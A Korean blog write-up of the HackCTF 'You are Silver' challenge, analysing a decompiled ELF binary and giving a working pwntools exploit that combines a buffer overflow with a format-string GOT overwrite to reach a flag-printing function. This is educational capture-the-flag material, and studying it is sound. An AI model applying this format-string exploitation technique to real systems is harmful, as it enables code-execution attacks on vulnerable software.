HackCTF You are Silver Write-Up

juuun0·2022년 1월 26일
1
post-thumbnail

Analyze Target

문제 파일을 다운로드 받으면 ELF 실행파일 하나가 존재하는 것을 확인할 수 있었습니다. 프로그램을 간단하게 실행해보면 이름의 입력을 요구하고 임의의 값을 입력할 경우 이를 다시 출력 후 Segmentation Fault가 발생하며 종료됩니다.

root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
Hi
Hi

You are silver.
Segmentation fault

Ghidra를 이용한 decompile 결과를 확인해보면 다음과 같이 구성된 main을 확인할 수 있었습니다.

undefined8 main(void)

{
  char local_38 [40];
  int local_10;
  undefined4 local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_c = 0x32;
  puts("Please enter your name");
  fgets(local_38,0x2e,stdin);
  printf(local_38);
  local_10 = get_tier(local_c);
  printf((char *)(long)local_10);
  return 0;
}

main에서 호출하는 get_tier() 함수 외에 play_game() 함수 또한 존재하였습니다. 또한 segfault의 원인으로 마지막의 printf에서 초기화되지 않은 int 변수를 인자로 사용하는 것을 추측할 수 있었습니다.

먼저 get_tier() 함수의 경우 아래와 같이 구현되어 있었습니다.

void get_tier(int param_1)

{
  if (param_1 < 0x33) {
    puts("\nYou are silver.");
  }
  else {
    if ((param_1 < 0x42) && (0x32 < param_1)) {
      puts("\nYou are platinum.");
    }
    else {
      if ((param_1 < 0x4c) && (0x41 < param_1)) {
        puts("\nYou are master.");
      }
      else {
        if (0x4b < param_1) {
          puts("\nYou are challenger.");
        }
      }
    }
  }
  return;
}

get_tier 함수의 경우 'local_c'의 값을 비교하여 조건에 만족할 경우 특정 값을 반환하는 것으로 보였습니다. 기본적으로 0x32로 초기화 되었기에 "You are silver" 라는 문구를 반환하였으며, fgets에서 overflow가 발생하는 것을 통해 local_c 값을 조작할 수 있었습니다.

root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
You are challenger.
Segmentation fault

flag를 얻기 위해서는 play_game() 함수에서 tier가 challenger일 경우 cat ./flag 명령을 실행해주는 것을 보아 이를 이용할 필요가 있어 보였습니다.

void play_game(int param_1)

{
  if (param_1 == 2) {
    puts("platinum can\'t play game. :(");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (param_1 < 3) {
    if (param_1 == 1) {
      puts("SILVER can\'t play game.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  else {
    if (param_1 == 3) {
      puts("master can\'t play game. Sorry! :(");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (param_1 == 4) {
      puts("Challenger. Take this first!");
      system("cat ./flag");
    }
  }
  puts("Who are you? get out!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Find Trigger

paly_game() 함수를 호출하기 위한 방법을 생각해보던 중 마지막 printf의 GOT 주소를 play_game()의 주소로 변조할 경우 최종적으로 play_game(local_10) 형태로 호출 가능한 점을 확인할 수 있었습니다.

문제는 fgets를 통해서 ret 주소를 조작할 정도로 입력하기에는 size가 부족하였기에 이를 어떤 식으로 조작할지가 관건이었는데, 입력값을 다시 출력하는 과정에서 Format string bug가 발생한다는 점을 알 수 있었습니다.

FSB를 이용할 경우 GOT Overwrite를 진행할 수 있었지만 몇 가지로 인해 exploit에는 성공하지 못했습니다. 아래는 이번 문제를 통해 새로 알게된 내용들이며 자세한 설명은 별도의 게시글로 작성할 예정입니다.

  • %p 혹은 %lx를 통한 내용 확인
  • %ln을 통한 임의 주소 쓰기
  • fgets와 0x00의 관계
  • 8 byte alignment

Exploit

최종적으로 사용한 exploit은 아래와 같습니다.

#!/usr/bin/python3
 
 from pwn import *
 
 #p = process("./you_are_silver")
 p = remote("ctf.j0n9hyun.xyz", 3022)
 context.terminal = '/bin/bash'
 #context.log_level = 'debug'
 
 got = 0x601028  # printf@got.plt
 
 # Must $rbp-0x4 is greater 0x4b Like 'Z'
 
 
 fsb = b"%4196055c%8$lnPP"
 fsb += p64(got)
 
 padding = b"A"*(44-len(fsb))
 
 payload = fsb 
 payload += padding
 payload += b"Z"
 
 p.recvline()
 p.sendline(payload)
 
 p.recvline()
 p.recvline()
 p.recvline()
 log.info(p.recvline().decode('utf-8'))
profile
To be

0개의 댓글